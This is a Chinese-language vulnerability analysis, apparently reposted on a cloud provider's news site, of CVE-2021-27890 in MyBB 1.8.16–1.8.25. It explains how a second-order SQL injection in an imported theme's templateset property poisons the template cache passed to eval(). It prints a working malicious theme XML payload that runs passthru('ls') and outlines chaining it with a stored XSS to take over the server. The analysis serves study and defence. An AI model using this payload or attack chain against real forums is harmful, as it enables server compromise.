溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

SQL注入導(dǎo)致RCE漏洞CVE-2021-27890的示例分析

發(fā)布時(shí)間:2021-12-29 17:47:48 來(lái)源:億速云 閱讀:323 作者:柒染 欄目:網(wǎng)絡(luò)管理

SQL注入導(dǎo)致RCE漏洞CVE-2021-27890的示例分析,很多新手對(duì)此不是很清楚,為了幫助大家解決這個(gè)難題,下面小編將為大家詳細(xì)講解,有這方面需求的人可以來(lái)學(xué)習(xí)下,希望你能有所收獲。

0x00 前言

下面將這個(gè)有點(diǎn)復(fù)雜的SQL注入導(dǎo)致的RCE的形成原理講清楚,先放從全文提煉的關(guān)鍵部分

1、模板取值使用危險(xiǎn)函數(shù)eval(“字符串”),字符串的一部分是從數(shù)據(jù)庫(kù)取值,從數(shù)據(jù)庫(kù)所取的值是由用戶輸入

2、想使用如下形式執(zhí)行代碼

eval('echo "hi, ybdt!";');

碰到過(guò)濾一:對(duì)插入到數(shù)據(jù)庫(kù)的雙引號(hào)進(jìn)行了轉(zhuǎn)義,導(dǎo)致不能代碼不能執(zhí)行,如下所示

eval('echo "passthru(\"dir\")";');

3、想要在模板值中不使用雙引號(hào),即使用如下這種形式

eval('echo "${passthru(dir)}";');

碰到過(guò)濾二:MyBB會(huì)阻止將模板改為這種形式

4、通過(guò)導(dǎo)入模板時(shí),模板某個(gè)屬性存在二階SQL注入漏洞,以此繞過(guò)3中的過(guò)濾

0x01 遠(yuǎn)程代碼執(zhí)行攻擊鏈概述

國(guó)外著名論壇軟件MyBB在1.8.16<=版本<=1.8.25受2個(gè)漏洞影響,在默認(rèn)的MyBB配置下,這2個(gè)漏洞能被連在一起使用最終導(dǎo)致遠(yuǎn)程代碼執(zhí)行。第1個(gè)漏洞(“內(nèi)嵌的自動(dòng)URL”導(dǎo)致持久型XSS——CVE-2021-27889)發(fā)生在MyBB的渲染過(guò)程,允許任何普通論壇用戶來(lái)嵌入存儲(chǔ)型XSS攻擊代碼到帖子甚至私信中。

第2個(gè)漏洞(“主題屬性中的SQL注入”導(dǎo)致RCE——CVE-2021-27890)是由于主題屬性中存在SQL注入最終導(dǎo)致RCE,漏洞被觸發(fā)需要管理員權(quán)限

一個(gè)經(jīng)驗(yàn)豐富的攻擊者能夠開(kāi)發(fā)一個(gè)針對(duì)存儲(chǔ)型XSS的利用,然后發(fā)送一個(gè)私信給管理員,管理員登錄論壇后打開(kāi)私信,漏洞被觸發(fā),一個(gè)RCE的利用代碼將在后臺(tái)自動(dòng)執(zhí)行,最終完全接管MyBB服務(wù)器

0x02 “主題屬性中的SQL注入”導(dǎo)致的RCE(CVE-2021-27890)技術(shù)細(xì)節(jié)

上一篇文章提到的XSS漏洞是針對(duì)MyBB論壇管理員的攻擊。如果攻擊者成功注入JavaScript代碼到正在登錄論壇的管理員瀏覽器,他將能夠執(zhí)行任何管理員能執(zhí)行的動(dòng)作。但是MyBB限制比較嚴(yán)格,甚至阻止了管理員執(zhí)行任意PHP代碼,因此我們將呈現(xiàn)一個(gè)需要管理員權(quán)限的授權(quán)的RCE漏洞

MyBB管理員能訪問(wèn)的特性之一是MyBB論壇的主題管理器。一個(gè)MyBB主題包括一系列鍵值對(duì),鍵指向當(dāng)前頁(yè)面的內(nèi)容,值包含當(dāng)前頁(yè)面的內(nèi)容。

下列是一個(gè)例子對(duì)于MyBB如何顯示一個(gè)主題

eval('$modcplink = "'.$templates->get('header_welcomeblock_member_moderator').'";');

上述例子中表示主題中的鍵header_welcomeblock_member_moderator被請(qǐng)求。相應(yīng)的,主題內(nèi)容的值如下

<div id='welcomeblock_back'><b>{$mybb->user['username']}</b></div>

這意味著最終傳遞給eval()的字符串如下

$modcplink = "<div id='welcomeblock_back'><b>{$mybb->user['username']}</b></div>";

正如你能看到,字符串是被包含在雙引號(hào)中的,且PHP變量{$mybb->user['username']}是被插入到字符串中。由于{$mybb->user['username']}被存儲(chǔ)到數(shù)據(jù)庫(kù)中時(shí),MyBB會(huì)轉(zhuǎn)義其中的雙引號(hào),因此沒(méi)辦法跳出雙引號(hào),也就沒(méi)法導(dǎo)致遠(yuǎn)程代碼執(zhí)行

另外一個(gè)能導(dǎo)致RCE的PHP技巧是,攻擊者修改模板,添加一個(gè)$到變量前,變成字符串內(nèi)插,如下所示

$modcplink = "<div id='welcomeblock_back'><b>${arbitrary_function()}</b></div>";

然而,MyBB也會(huì)通過(guò)阻止管理員插入這樣的形式來(lái)阻止這種特有的PHP技巧。

這意味著如果我們能夠發(fā)現(xiàn)一種方式繞過(guò)MyBB過(guò)濾器,我們將依舊能夠執(zhí)行任意PHP代碼。我們將通過(guò)一個(gè)SQL注入實(shí)現(xiàn)繞過(guò)

MyBB主題能被導(dǎo)入通過(guò)XML文件,這個(gè)XML文件包含一系列主題屬性(例如圖像目錄或版本),即一系列鍵值對(duì),這一系列鍵值對(duì)將被讀取,其中name是和鍵相關(guān)的,value是內(nèi)容。這是一個(gè)例子:

<?xml version="1.0" encoding="UTF-8"?>
<theme name="Theme Example" version="1405">
   <properties>  <templateset><![CDATA[10]]></templateset>  <imgdir><![CDATA[images/]]></imgdir>  <logo><![CDATA[images/logo.png]]></logo>
   </properties>
   <stylesheets></stylesheets>
   <templates>  <template name="header_welcomeblock_member_moderator" version="1404"><![CDATA[
         <div id='welcomeblock_back'><b>{$mybb->user['username']}</b></div>  ]]></template>
   </templates>
</theme>

當(dāng)一個(gè)管理員導(dǎo)入這樣一個(gè)主題,XML是被解析,然后主題屬性被存儲(chǔ)到數(shù)據(jù)庫(kù)。templateset屬性存在二階SQL注入

當(dāng)這些主題被上傳時(shí),它們是被插入到MyBB的數(shù)據(jù)庫(kù)實(shí)例中,并且在之后的其他SQL查詢中沒(méi)有任何過(guò)濾

我們已經(jīng)知道了MyBB模板內(nèi)容的值將傳遞給eval(),因此一個(gè)能控制主題屬性值的攻擊者將能夠?qū)е氯我釶HP代碼執(zhí)行。下列段落描述了SQL注入,讓一個(gè)攻擊者能夠注入惡意模板代碼到eval()調(diào)用中。

在每一個(gè)頁(yè)面被載入的開(kāi)始,MyBB會(huì)從數(shù)據(jù)庫(kù)中取出全部的模板值,并存儲(chǔ)它們到一個(gè)緩存中,其中SQL查詢會(huì)使用templateset屬性取到全部的模板值,這個(gè)templateset屬性是被嵌入到查詢字符串中,因此一個(gè)SQL注入漏洞發(fā)生了:

$query = $db->simple_select("templates", "title,template",
    "title IN (''$sql) AND sid IN ('-2','-1','".$theme['templateset']."')",
    array('order_by' => 'sid', 'order_dir' => 'asc')

正如被展示,查詢會(huì)簡(jiǎn)單的拼接templateset屬性。使用一個(gè)惡意的主題,一個(gè)人能夠控制這個(gè)屬性,然后讓這個(gè)緩存函數(shù)返回攻擊者控制的值。這是一個(gè)例子對(duì)于這樣一個(gè)構(gòu)造的主題使用一個(gè)SQL注入payload:

<?xml version="1.0" encoding="UTF-8"?>
<theme name="Default" version="1821">
   <properties>  <templateset>') AND 1=0 UNION SELECT title, '${passthru(\'ls\')}' from mybb_templates -- </templateset>
   </properties>
</theme>

最終的SQL查詢將看起來(lái)如下:

SELECT title, template FROM mybb_templates WHERE 
   title IN (‘header_welcomeblock_member_moderator’, ‘...’) AND SID IN (‘-2’, ‘-1’, ‘’) 
   AND 1=0 UNION SELECT title, '${passthru(\'ls\')}' from mybb_templates -- ’)

通過(guò)這個(gè)SQL注入,使用攻擊者控制的數(shù)據(jù)來(lái)施毒模板緩存,其沒(méi)有經(jīng)過(guò)任何轉(zhuǎn)義或過(guò)濾,這些模板值是完全攻擊者控制的,然后被傳遞給eval()的雙引號(hào)字符串中,因此我們能執(zhí)行任意PHP代碼在${}語(yǔ)法中。最終,一個(gè)攻擊者能夠執(zhí)行任意PHP代碼,然后拿下服務(wù)器

看完上述內(nèi)容是否對(duì)您有幫助呢?如果還想對(duì)相關(guān)知識(shí)有進(jìn)一步的了解或閱讀更多相關(guān)文章,請(qǐng)關(guān)注億速云行業(yè)資訊頻道,感謝您對(duì)億速云的支持。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI